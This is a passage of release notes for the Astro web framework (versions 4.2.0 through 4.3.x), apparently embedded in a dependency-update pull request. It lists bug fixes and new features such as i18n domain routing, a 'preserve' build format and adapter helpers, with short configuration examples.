[#&#8203;10067](https://github.com/withastro/astro/pull/10067) [`989ea63bb2a5a670021541198aa70b8dc7c4bd2f`](https://github.com/withastro/astro/commit/989ea63bb2a5a670021541198aa70b8dc7c4bd2f) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression in the `astro:i18n` module, where the functions `getAbsoluteLocaleUrl` and `getAbsoluteLocaleUrlList` returned a URL with double slash with a certain combination of options. - [#&#8203;10060](https://github.com/withastro/astro/pull/10060) [`1810309e65c596266355c3b7bb36cdac70f3305e`](https://github.com/withastro/astro/commit/1810309e65c596266355c3b7bb36cdac70f3305e) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where custom client directives added by integrations broke builds with a custom root. - [#&#8203;9991](https://github.com/withastro/astro/pull/9991) [`8fb67c81bb84530b39df4a1449c0862def0854af`](https://github.com/withastro/astro/commit/8fb67c81bb84530b39df4a1449c0862def0854af) Thanks [@&#8203;ktym4a](https://github.com/ktym4a)! - Increases compatibility with standard browser behavior by changing where view transitions occur on browser back navigation. ### [`v4.3.5`](https://github.com/withastro/astro/releases/tag/astro%404.3.5) [Compare Source](https://github.com/withastro/astro/compare/astro@4.3.4...astro@4.3.5) ##### Patch Changes - [#&#8203;10022](https://github.com/withastro/astro/pull/10022) [`3fc76efb2a8faa47edf67562a1f0c84a19be1b33`](https://github.com/withastro/astro/commit/3fc76efb2a8faa47edf67562a1f0c84a19be1b33) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes a regression where types for the `astro:content` module did not include required exports, leading to typescript errors. - [#&#8203;10016](https://github.com/withastro/astro/pull/10016) [`037e4f12dd2f460d66f72c9f2d992b95e74d2da9`](https://github.com/withastro/astro/commit/037e4f12dd2f460d66f72c9f2d992b95e74d2da9) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where routes with a name that start with the name of the `i18n.defaultLocale` were incorrectly returning a 404 response. ### [`v4.3.4`](https://github.com/withastro/astro/releases/tag/astro%404.3.4) [Compare Source](https://github.com/withastro/astro/compare/astro@4.3.3...astro@4.3.4) ##### Patch Changes - [#&#8203;10013](https://github.com/withastro/astro/pull/10013) [`e6b5306a7de779ce495d0ff076d302de0aa57eaf`](https://github.com/withastro/astro/commit/e6b5306a7de779ce495d0ff076d302de0aa57eaf) Thanks [@&#8203;delucis](https://github.com/delucis)! - Fixes a regression in content collection types - [#&#8203;10003](https://github.com/withastro/astro/pull/10003) [`ce4283331f18c6178654dd705e3cf02efeef004a`](https://github.com/withastro/astro/commit/ce4283331f18c6178654dd705e3cf02efeef004a) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Adds support for `.strict()` on content collection schemas when a custom `slug` is present. ### [`v4.3.3`](https://github.com/withastro/astro/releases/tag/astro%404.3.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.3.2...astro@4.3.3) ##### Patch Changes - [#&#8203;9998](https://github.com/withastro/astro/pull/9998) [`18ac0940ea1b49b6b0ddd9be1f96aef416e2d7ee`](https://github.com/withastro/astro/commit/18ac0940ea1b49b6b0ddd9be1f96aef416e2d7ee) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug in `Astro.currentLocale` that wasn't returning the correct locale when a locale is configured via `path` - [#&#8203;9998](https://github.com/withastro/astro/pull/9998) [`18ac0940ea1b49b6b0ddd9be1f96aef416e2d7ee`](https://github.com/withastro/astro/commit/18ac0940ea1b49b6b0ddd9be1f96aef416e2d7ee) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression in `Astro.currentLocale` where it stopped working properly with dynamic routes - [#&#8203;9956](https://github.com/withastro/astro/pull/9956) [`81acac24a3cac5a9143155c1d9f838ea84a70421`](https://github.com/withastro/astro/commit/81acac24a3cac5a9143155c1d9f838ea84a70421) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes HMR for MDX dependencies in Content Collections - [#&#8203;9999](https://github.com/withastro/astro/pull/9999) [`c53a31321a935e4be04809046d7e0ba3cc41b272`](https://github.com/withastro/astro/commit/c53a31321a935e4be04809046d7e0ba3cc41b272) Thanks [@&#8203;MoustaphaDev](https://github.com/MoustaphaDev)! - Rollbacks the feature which allowed to dynamically generate slots with variable slot names due to unexpected regressions. - [#&#8203;9906](https://github.com/withastro/astro/pull/9906) [`3c0876cbed5033e6b5b42cc2b9d8b393d7e5a55e`](https://github.com/withastro/astro/commit/3c0876cbed5033e6b5b42cc2b9d8b393d7e5a55e) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves the types for the `astro:content` module by making low fidelity types available before running `astro sync` ### [`v4.3.2`](https://github.com/withastro/astro/releases/tag/astro%404.3.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.3.1...astro@4.3.2) ##### Patch Changes - [#&#8203;9932](https://github.com/withastro/astro/pull/9932) [`9f0d89fa7e9e7c08c8600b0c49c2cce7489a7582`](https://github.com/withastro/astro/commit/9f0d89fa7e9e7c08c8600b0c49c2cce7489a7582) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a case where a warning was logged even when the feature `i18nDomains` wasn't enabled - [#&#8203;9907](https://github.com/withastro/astro/pull/9907) [`6c894af5ab79f290f4ff7feb68617a66e91febc1`](https://github.com/withastro/astro/commit/6c894af5ab79f290f4ff7feb68617a66e91febc1) Thanks [@&#8203;ktym4a](https://github.com/ktym4a)! - Load 404.html on all non-existent paths on astro preview. ### [`v4.3.1`](https://github.com/withastro/astro/releases/tag/astro%404.3.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.3.0...astro@4.3.1) ##### Patch Changes - [#&#8203;9841](https://github.com/withastro/astro/pull/9841) [`27ea080e24e2c5cdc59b63b1dfe0a83a0c696597`](https://github.com/withastro/astro/commit/27ea080e24e2c5cdc59b63b1dfe0a83a0c696597) Thanks [@&#8203;kristianbinau](https://github.com/kristianbinau)! - Makes the warning clearer when having a custom `base` and requesting a public URL without it - [#&#8203;9888](https://github.com/withastro/astro/pull/9888) [`9d2fdb293d6a7323e10126cebad18ef9a2ea2800`](https://github.com/withastro/astro/commit/9d2fdb293d6a7323e10126cebad18ef9a2ea2800) Thanks [@&#8203;natemoo-re](https://github.com/natemoo-re)! - Improves error handling logic for the `astro sync` command. - [#&#8203;9918](https://github.com/withastro/astro/pull/9918) [`d52529e09450c84933dd15d6481edb32269f537b`](https://github.com/withastro/astro/commit/d52529e09450c84933dd15d6481edb32269f537b) Thanks [@&#8203;LarryIVC](https://github.com/LarryIVC)! - Adds the `name` attribute to the `<details>` tag type - [#&#8203;9938](https://github.com/withastro/astro/pull/9938) [`1568afb78a163db63a4cde146dec87785a83db1d`](https://github.com/withastro/astro/commit/1568afb78a163db63a4cde146dec87785a83db1d) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes a regression where middleware did not run for prerendered pages and endpoints. - [#&#8203;9931](https://github.com/withastro/astro/pull/9931) [`44674418965d658733d3602668a9354e18f8ef89`](https://github.com/withastro/astro/commit/44674418965d658733d3602668a9354e18f8ef89) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes a regression where a response created with `Response.redirect` or containing `null` as the body never completed in node-based adapters. ### [`v4.3.0`](https://github.com/withastro/astro/releases/tag/astro%404.3.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.2.8...astro@4.3.0) ##### Minor Changes - [#&#8203;9839](https://github.com/withastro/astro/pull/9839) [`58f9e393a188702eef5329e41deff3dcb65a3230`](https://github.com/withastro/astro/commit/58f9e393a188702eef5329e41deff3dcb65a3230) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds a new `ComponentProps` type export from `astro/types` to get the props type of an Astro component. ```astro --- import type { ComponentProps } from 'astro/types'; import { Button } from './Button.astro'; type myButtonProps = ComponentProps<typeof Button>; --- ``` - [#&#8203;9159](https://github.com/withastro/astro/pull/9159) [`7d937c158959e76443a02f740b10e251d14dbd8c`](https://github.com/withastro/astro/commit/7d937c158959e76443a02f740b10e251d14dbd8c) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Adds CLI shortcuts as an easter egg for the dev server: - `o + enter`: opens the site in your browser - `q + enter`: quits the dev server - `h + enter`: prints all available shortcuts - [#&#8203;9764](https://github.com/withastro/astro/pull/9764) [`fad4f64aa149086feda2d1f3a0b655767034f1a8`](https://github.com/withastro/astro/commit/fad4f64aa149086feda2d1f3a0b655767034f1a8) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds a new `build.format` configuration option: `'preserve'`. This option will preserve your source structure in the final build. The existing configuration options, `file` and `directory`, either build all of your HTML pages as files matching the route name (e.g. `/about.html`) or build all your files as `index.html` within a nested directory structure (e.g. `/about/index.html`), respectively. It was not previously possible to control the HTML file built on a per-file basis. One limitation of `build.format: 'file'` is that it cannot create `index.html` files for any individual routes (other than the base path of `/`) while otherwise building named files. Creating explicit index pages within your file structure still generates a file named for the page route (e.g. `src/pages/about/index.astro` builds `/about.html`) when using the `file` configuration option. Rather than make a breaking change to allow `build.format: 'file'` to be more flexible, we decided to create a new `build.format: 'preserve'`. The new format will preserve how the filesystem is structured and make sure that is mirrored over to production. Using this option: - `about.astro` becomes `about.html` - `about/index.astro` becomes `about/index.html` See the [`build.format` configuration options reference](https://docs.astro.build/en/reference/configuration-reference/#buildformat) for more details. - [#&#8203;9143](https://github.com/withastro/astro/pull/9143) [`041fdd5c89920f7ccf944b095f29e451f78b0e28`](https://github.com/withastro/astro/commit/041fdd5c89920f7ccf944b095f29e451f78b0e28) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds experimental support for a new i18n domain routing option (`"domains"`) that allows you to configure different domains for individual locales in entirely server-rendered projects. To enable this in your project, first configure your `server`-rendered project's i18n routing with your preferences if you have not already done so. Then, set the `experimental.i18nDomains` flag to `true` and add `i18n.domains` to map any of your supported `locales` to custom URLs: ```js //astro.config.mjs" import { defineConfig } from 'astro/config'; export default defineConfig({ site: 'https://example.com', output: 'server', // required, with no prerendered pages adapter: node({ mode: 'standalone', }), i18n: { defaultLocale: 'en', locales: ['es', 'en', 'fr', 'ja'], routing: { prefixDefaultLocale: false, }, domains: { fr: 'https://fr.example.com', es: 'https://example.es', }, }, experimental: { i18nDomains: true, }, }); ``` With `"domains"` configured, the URLs emitted by `getAbsoluteLocaleUrl()` and `getAbsoluteLocaleUrlList()` will use the options set in `i18n.domains`. ```js import { getAbsoluteLocaleUrl } from 'astro:i18n'; getAbsoluteLocaleUrl('en', 'about'); // will return "https://example.com/about" getAbsoluteLocaleUrl('fr', 'about'); // will return "https://fr.example.com/about" getAbsoluteLocaleUrl('es', 'about'); // will return "https://example.es/about" getAbsoluteLocaleUrl('ja', 'about'); // will return "https://example.com/ja/about" ``` Similarly, your localized files will create routes at corresponding URLs: - The file `/en/about.astro` will be reachable at the URL `https://example.com/about`. - The file `/fr/about.astro` will be reachable at the URL `https://fr.example.com/about`. - The file `/es/about.astro` will be reachable at the URL `https://example.es/about`. - The file `/ja/about.astro` will be reachable at the URL `https://example.com/ja/about`. See our [Internationalization Guide](https://docs.astro.build/en/guides/internationalization/#domains-experimental) for more details and limitations on this experimental routing feature. - [#&#8203;9755](https://github.com/withastro/astro/pull/9755) [`d4b886141bb342ac71b1c060e67d66ca2ffbb8bd`](https://github.com/withastro/astro/commit/d4b886141bb342ac71b1c060e67d66ca2ffbb8bd) Thanks [@&#8203;OliverSpeir](https://github.com/OliverSpeir)! - Fixes an issue where images in Markdown required a relative specifier (e.g. `./`) Now, you can use the standard `![](img.png)` syntax in Markdown files for images colocated in the same folder: no relative specifier required! There is no need to update your project; your existing images will still continue to work. However, you may wish to remove any relative specifiers from these Markdown images as they are no longer necessary: ```diff - ![A cute dog](./dog.jpg) + ![A cute dog](dog.jpg) <!-- This dog lives in the same folder as my article! --> ``` ##### Patch Changes - [#&#8203;9908](https://github.com/withastro/astro/pull/9908) [`2f6d1faa6f2d6de2d4ccd2a48adf5adadc82e593`](https://github.com/withastro/astro/commit/2f6d1faa6f2d6de2d4ccd2a48adf5adadc82e593) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Improves http behavior relating to errors encountered while streaming a response. - [#&#8203;9877](https://github.com/withastro/astro/pull/9877) [`7be5f94dcfc73a78d0fb301eeff51614d987a165`](https://github.com/withastro/astro/commit/7be5f94dcfc73a78d0fb301eeff51614d987a165) Thanks [@&#8203;fabiankachlock](https://github.com/fabiankachlock)! - Fixes the content config type path on windows - [#&#8203;9143](https://github.com/withastro/astro/pull/9143) [`041fdd5c89920f7ccf944b095f29e451f78b0e28`](https://github.com/withastro/astro/commit/041fdd5c89920f7ccf944b095f29e451f78b0e28) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the function `getLocaleRelativeUrlList` wasn't normalising the paths by default - [#&#8203;9911](https://github.com/withastro/astro/pull/9911) [`aaedb848b1d6f683840035865528506a346ea659`](https://github.com/withastro/astro/commit/aaedb848b1d6f683840035865528506a346ea659) Thanks [@&#8203;natemoo-re](https://github.com/natemoo-re)! - Fixes an issue where some adapters that do not include a `start()` export would error rather than silently proceed ### [`v4.2.8`](https://github.com/withastro/astro/releases/tag/astro%404.2.8) [Compare Source](https://github.com/withastro/astro/compare/astro@4.2.7...astro@4.2.8) ##### Patch Changes - [#&#8203;9884](https://github.com/withastro/astro/pull/9884) [`37369550ab57ca529fd6c796e5b0e96e897ca6e5`](https://github.com/withastro/astro/commit/37369550ab57ca529fd6c796e5b0e96e897ca6e5) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where multiple cookies were sent in a single Set-Cookie header in the dev mode. - [#&#8203;9876](https://github.com/withastro/astro/pull/9876) [`e9027f194b939ac5a4d795ee1a2c24e4a6fbefc0`](https://github.com/withastro/astro/commit/e9027f194b939ac5a4d795ee1a2c24e4a6fbefc0) Thanks [@&#8203;friedemannsommer](https://github.com/friedemannsommer)! - Fixes an issue where using `Response.redirect` in an endpoint led to an error. - [#&#8203;9882](https://github.com/withastro/astro/pull/9882) [`13c3b712c7ba45d0081f459fc06f142216a4ec59`](https://github.com/withastro/astro/commit/13c3b712c7ba45d0081f459fc06f142216a4ec59) Thanks [@&#8203;natemoo-re](https://github.com/natemoo-re)! - Improves handling of YAML parsing errors - [#&#8203;9878](https://github.com/withastro/astro/pull/9878) [`a40a0ff5883c7915dd55881dcebd052b9f94a0eb`](https://github.com/withastro/astro/commit/a40a0ff5883c7915dd55881dcebd052b9f94a0eb) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where setting trailingSlash to "never" had no effect on `Astro.url`. ### [`v4.2.7`](https://github.com/withastro/astro/releases/tag/astro%404.2.7) [Compare Source](https://github.com/withastro/astro/compare/astro@4.2.6...astro@4.2.7) ##### Patch Changes - [#&#8203;9840](https://github.com/withastro/astro/pull/9840) [`70fdf1a5c660057152c1ca111dcc89ceda5c8840`](https://github.com/withastro/astro/commit/70fdf1a5c660057152c1ca111dcc89ceda5c8840) Thanks [@&#8203;delucis](https://github.com/delucis)! - Expose `ContentConfig` type from `astro:content` - [#&#8203;9865](https://github.com/withastro/astro/pull/9865) [`00ba9f1947ca9016cd0ee4d8f6048027fab2ab9a`](https://github.com/withastro/astro/commit/00ba9f1947ca9016cd0ee4d8f6048027fab2ab9a) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug in `Astro.currentLocale` where the value was incorrectly computed during the build. - [#&#8203;9838](https://github.com/withastro/astro/pull/9838) [`0a06d87a1e2b94be00a954f350c184222fa0594d`](https://github.com/withastro/astro/commit/0a06d87a1e2b94be00a954f350c184222fa0594d) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where `astro:i18n` could not be used in framework components. - Updated dependencies \[[`44c957f893c6bf5f5b7c78301de7b21c5975584d`](https://github.com/withastro/astro/commit/44c957f893c6bf5f5b7c78301de7b21c5975584d)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;4.2.1 ### [`v4.2.6`](https://github.com/withastro/astro/releases/tag/astro%404.2.6) [Compare Source](https://github.com/withastro/astro/compare/astro@4.2.5...astro@4.2.6) ##### Patch Changes - [#&#8203;9825](https://github.com/withastro/astro/pull/9825) [`e4370e9e9dd862425eced25823c82e77d9516927`](https://github.com/withastro/astro/commit/e4370e9e9dd862425eced25823c82e77d9516927) Thanks [@&#8203;tugrulates](https://github.com/tugrulates)! - Fixes false positive aria role errors on interactive elements - [#&#8203;9828](https://github.com/withastro/astro/pull/9828) [`a3df9d83ca92abb5f08f576631019c1604204bd9`](https://github.com/withastro/astro/commit/a3df9d83ca92abb5f08f576631019c1604204bd9) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a case where shared modules among pages and middleware were transformed to a no-op after the build. - [#&#8203;9834](https://github.com/withastro/astro/pull/9834) [`1885cea308a62b173a50967cf5a0b174b3c3f3f1`](https://github.com/withastro/astro/commit/1885cea308a62b173a50967cf5a0b174b3c3f3f1) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes third-party dev toolbar apps not loading correctly when using absolute paths on Windows ### [`v4.2.5`](https://github.com/withastro/astro/releases/tag/astro%404.2.5) [Compare Source](https://github.com/withastro/astro/compare/astro@4.2.4...astro@4.2.5) ##### Patch Changes - [#&#8203;9818](https://github.com/withastro/astro/pull/9818) [`d688954c5adba75b0d676694fbf5fb0da1c0af13`](https://github.com/withastro/astro/commit/d688954c5adba75b0d676694fbf5fb0da1c0af13) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Improves the wording of a few confusing error messages - [#&#8203;9680](https://github.com/withastro/astro/pull/9680) [`5d7db1dbb0ff06db98e08b0ca241ff09d0b8b44d`](https://github.com/withastro/astro/commit/5d7db1dbb0ff06db98e08b0ca241ff09d0b8b44d) Thanks [@&#8203;loucyx](https://github.com/loucyx)! - Fixes types generation from Content Collections config file - [#&#8203;9822](https://github.com/withastro/astro/pull/9822) [`bd880e8437ea2df16f322f604865c1148a9fd4cf`](https://github.com/withastro/astro/commit/bd880e8437ea2df16f322f604865c1148a9fd4cf) Thanks [@&#8203;liruifengv](https://github.com/liruifengv)! - Applies the correct escaping to identifiers used with `transition:name`. - [#&#8203;9830](https://github.com/withastro/astro/pull/9830) [`f3d22136e53fd902310024519fc4de83f0a58039`](https://github.com/withastro/astro/commit/f3d22136e53fd902310024519fc4de83f0a58039) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where 404 responses from endpoints were replaced with contents of 404.astro in dev mode. - [#&#8203;9816](https://github.com/withastro/astro/pull/9816) [`2a44c8f93201958fba2d1e83046eabcaef186b7c`](https://github.com/withastro/astro/commit/2a44c8f93201958fba2d1e83046eabcaef186b7c) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds telemetry for when apps are toggled in the dev toolbar. This data is completely anonymous and only the names of built-in apps are shared with us. This data will help us monitor how much the dev toolbar is used and which apps are used more. For more information on how Astro collects telemetry, visit the following page: <https://astro.build/telemetry/> - [#&#8203;9807](https://github.com/withastro/astro/pull/9807) [`b3f313138bb314e2b416c29cda507383c2a9f816`](https://github.com/withastro/astro/commit/b3f313138bb314e2b416c29cda507383c2a9f816) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes environment variables replacement for `export const prerender` - [#&#8203;9790](https://github.com/withastro/astro/pull/9790) [`267c5aa2c7706f0ea3447f20a09d85aa560866ad`](https://github.com/withastro/astro/commit/267c5aa2c7706f0ea3447f20a09d85aa560866ad) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Refactors internals of the `astro:i18n` module to be more maintainable. - [#&#8203;9776](https://github.com/withastro/astro/pull/9776) [`dc75180aa698b298264362bab7f00391af427798`](https://github.com/withastro/astro/commit/dc75180aa698b298264362bab7f00391af427798) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Simplifies internals that handle middleware. ### [`v4.2.4`](https://github.com/withastro/astro/releases/tag/astro%404.2.4) [Compare Source](https://github.com/withastro/astro/compare/astro@4.2.3...astro@4.2.4) ##### Patch Changes - [#&#8203;9792](https://github.com/withastro/astro/pull/9792) [`e22cb8b10c0ca9f6d88cab53cd2713f57875ab4b`](https://github.com/withastro/astro/commit/e22cb8b10c0ca9f6d88cab53cd2713f57875ab4b) Thanks [@&#8203;tugrulates](https://github.com/tugrulates)! - Accept aria role `switch` on toolbar audit. - [#&#8203;9606](https://github.com/withastro/astro/pull/9606) [`e6945bcf23b6ad29388bbadaf5bb3cc31dd4a114`](https://github.com/withastro/astro/commit/e6945bcf23b6ad29388bbadaf5bb3cc31dd4a114) Thanks [@&#8203;eryue0220](https://github.com/eryue0220)! - Fixes escaping behavior for `.html` files and components - [#&#8203;9786](https://github.com/withastro/astro/pull/9786) [`5b29550996a7f5459a0d611feea6e51d44e1d8ed`](https://github.com/withastro/astro/commit/5b29550996a7f5459a0d611feea6e51d44e1d8ed) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Fixes a regression in routing priority for index pages in rest parameter folders and dynamic sibling trees. Considering the following tree: ``` src/pages/ ├── index.astro ├── static.astro ├── [dynamic_file].astro ├── [...rest_file].astro ├── blog/ │ └── index.astro ├── [dynamic_folder]/ │ ├── index.astro │ ├── static.astro │ └── [...rest].astro └── [...rest_folder]/ ├── index.astro └── static.astro ``` The routes are sorted in this order: ``` /src/pages/index.astro /src/pages/blog/index.astro /src/pages/static.astro /src/pages/[dynamic_folder]/index.astro /src/pages/[dynamic_file].astro /src/pages/[dynamic_folder]/static.astro /src/pages/[dynamic_folder]/[...rest].astro /src/pages/[...rest_folder]/static.astro /src/pages/[...rest_folder]/index.astro /src/pages/[...rest_file]/index.astro ``` This allows for index files to be used as overrides to rest parameter routes on SSR when the rest parameter matching `undefined` is not desired. - [#&#8203;9775](https://github.com/withastro/astro/pull/9775) [`075706f26d2e11e66ef8b52288d07e3c0fa97eb1`](https://github.com/withastro/astro/commit/075706f26d2e11e66ef8b52288d07e3c0fa97eb1) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Simplifies internals that handle endpoints. - [#&#8203;9773](https://github.com/withastro/astro/pull/9773) [`9aa7a5368c502ae488d3a173e732d81f3d000e98`](https://github.com/withastro/astro/commit/9aa7a5368c502ae488d3a173e732d81f3d000e98) Thanks [@&#8203;LunaticMuch](https://github.com/LunaticMuch)! - Raises the required vite version to address a vulnerability in `vite.server.fs.deny` that affected the dev mode. - [#&#8203;9781](https://github.com/withastro/astro/pull/9781) [`ccc05d54014e24c492ca5fddd4862f318aac8172`](https://github.com/withastro/astro/commit/ccc05d54014e24c492ca5fddd4862f318aac8172) Thanks [@&#8203;stevenbenner](https://github.com/stevenbenner)! - Fix build failure when image file name includes special characters ### [`v4.2.3`](https://github.com/withastro/astro/releases/tag/astro%404.2.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.2.2...astro@4.2.3) ##### Patch Changes - [#&#8203;9768](https://github.com/withastro/astro/pull/9768) [`eed0e8757c35dde549707e71c45862438a043fb0`](https://github.com/withastro/astro/commit/eed0e8757c35dde549707e71c45862438a043fb0) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fix apps being able to crash the dev toolbar in certain cases ### [`v4.2.2`](https://github.com/withastro/astro/releases/tag/astro%404.2.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.2.1...astro@4.2.2) ##### Patch Changes - [#&#8203;9712](https://github.com/withastro/astro/pull/9712) [`ea6cbd06a2580527786707ec735079ff9abd0ec0`](https://github.com/withastro/astro/commit/ea6cbd06a2580527786707ec735079ff9abd0ec0) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Improves HMR behavior for style-only changes in `.astro` files - [#&#8203;9739](https://github.com/withastro/astro/pull/9739) [`3ecb3ef64326a8f77aa170df1e3c89cb5c12cc93`](https://github.com/withastro/astro/commit/3ecb3ef64326a8f77aa170df1e3c89cb5c12cc93) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Makes i18n redirects take the `build.format` configuration into account - [#&#8203;9762](https://github.com/withastro/astro/pull/9762) [`1fba85681e86aa83d24336d4209cafbc76b37607`](https://github.com/withastro/astro/commit/1fba85681e86aa83d24336d4209cafbc76b37607) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds `popovertarget" to the attribute that can be passed to the `button\` element - [#&#8203;9605](https://github.com/withastro/astro/pull/9605) [`8ce40a417c854d9e6a4fa7d5a85d50a6436b4a3c`](https://github.com/withastro/astro/commit/8ce40a417c854d9e6a4fa7d5a85d50a6436b4a3c) Thanks [@&#8203;MoustaphaDev](https://github.com/MoustaphaDev)! - Adds support for dynamic slot names - [#&#8203;9381](https://github.com/withastro/astro/pull/9381) [`9e01f9cc1efcfb938355829676d51b24818ab2bb`](https://github.com/withastro/astro/commit/9e01f9cc1efcfb938355829676d51b24818ab2bb) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Improves the CLI output of `astro preferences list` to include additional relevant information - [#&#8203;9741](https://github.com/withastro/astro/pull/9741) [`73d74402007896204ee965f6553dc83b3dec8d2f`](https://github.com/withastro/astro/commit/73d74402007896204ee965f6553dc83b3dec8d2f) Thanks [@&#8203;taktran](https://github.com/taktran)! - Fixes an issue where dot files were not copied over from the public folder to the output folder, when build command was run in a folder other than the root of the project. - [#&#8203;9730](https://github.com/withastro/astro/pull/9730) [`8d2e5db096f1e7b098511b4fe9357434a6ff0703`](https://github.com/withastro/astro/commit/8d2e5db096f1e7b098511b4fe9357434a6ff0703) Thanks [@&#8203;Blede2000](https://github.com/Blede2000)! - Allow i18n routing utilities like getRelativeLocaleUrl to also get the default local path when redirectToDefaultLocale is false - Updated dependencies \[[`53c69dcc82cdf4000aff13a6c11fffe19096cf45`](https://github.com/withastro/astro/commit/53c69dcc82cdf4000aff13a6c11fffe19096cf45), [`2f81cffa9da9db0e2802d303f94feaee8d2f54ec`](https://github.com/withastro/astro/commit/2f81cffa9da9db0e2802d303f94feaee8d2f54ec), [`a505190933365268d48139a5f197a3cfb5570870`](https://github.com/withastro/astro/commit/a505190933365268d48139a5f197a3cfb5570870)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;4.2.0 ### [`v4.2.1`](https://github.com/withastro/astro/releases/tag/astro%404.2.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.2.0...astro@4.2.1) ##### Patch Changes - [#&#8203;9726](https://github.com/withastro/astro/pull/9726) [`a4b696def3a7eb18c1ae48b10fd3758a1874b6fe`](https://github.com/withastro/astro/commit/a4b696def3a7eb18c1ae48b10fd3758a1874b6fe) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Fixes a regression in routing priority between `index.astro` and dynamic routes with rest parameters ### [`v4.2.0`](https://github.com/withastro/astro/releases/tag/astro%404.2.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.1.3...astro@4.2.0) ##### Minor Changes - [#&#8203;9566](https://github.com/withastro/astro/pull/9566) [`165cfc154be477337037185c32b308616d1ed6fa`](https://github.com/withastro/astro/commit/165cfc154be477337037185c32b308616d1ed6fa) Thanks [@&#8203;OliverSpeir](https://github.com/OliverSpeir)! - Allows remark plugins to pass options specifying how images in `.md` files will be optimized - [#&#8203;9661](https://github.com/withastro/astro/pull/9661) [`d6edc7540864cf5d294d7b881eb886a3804f6d05`](https://github.com/withastro/astro/commit/d6edc7540864cf5d294d7b881eb886a3804f6d05) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds new helper functions for adapter developers. - `Astro.clientAddress` can now be passed directly to the `app.render()` method. ```ts const response = await app.render(request, { clientAddress: '012.123.23.3' }); ``` - Helper functions for converting Node.js HTTP request and response objects to web-compatible `Request` and `Response` objects are now provided as static methods on the `NodeApp` class. ```ts http.createServer((nodeReq, nodeRes) => { const request: Request = NodeApp.createRequest(nodeReq); const response = await app.render(request); await NodeApp.writeResponse(response, nodeRes); }); ``` - Cookies added via `Astro.cookies.set()` can now be automatically added to the `Response` object by passing the `addCookieHeader` option to `app.render()`. ```diff -const response = await app.render(request) -const setCookieHeaders: Array<string> = Array.from(app.setCookieHeaders(webResponse)); -if (setCookieHeaders.length) { - for (const setCookieHeader of setCookieHeaders) { - headers.append('set-cookie', setCookieHeader); - } -} +const response = await app.render(request, { addCookieHeader: true }) ``` - [#&#8203;9638](https://github.com/withastro/astro/pull/9638) [`f1a61268061b8834f39a9b38bca043ae41caed04`](https://github.com/withastro/astro/commit/f1a61268061b8834f39a9b38bca043ae41caed04) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new `i18n.routing` config option `redirectToDefaultLocale` to disable automatic redirects of the root URL (`/`) to the default locale when `prefixDefaultLocale: true` is set. In projects where every route, including the default locale, is prefixed with `/[locale]/` path, this property allows you to control whether or not `src/pages/index.astro` should automatically redirect your site visitors from `/` to `/[defaultLocale]`. You can now opt out of this automatic redirection by setting `redirectToDefaultLocale: false`: ```js // astro.config.mjs export default defineConfig({ i18n: { defaultLocale: 'en', locales: ['en', 'fr'], routing: { prefixDefaultLocale: true, redirectToDefaultLocale: false, }, }, }); ``` - [#&#8203;9671](https://github.com/withastro/astro/pull/9671) [`8521ff77fbf7e867701cc30d18253856914dbd1b`](https://github.com/withastro/astro/commit/8521ff77fbf7e867701cc30d18253856914dbd1b) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Removes the requirement for non-content files and assets inside content collections to be prefixed with an underscore. For files with extensions like `.astro` or `.css`, you can now remove underscores without seeing a warning in the terminal. ```diff src/content/blog/ post.mdx - _styles.css - _Component.astro + styles.css + Component.astro ``` Continue to use underscores in your content collections to exclude individual content files, such as drafts, from the build output. - 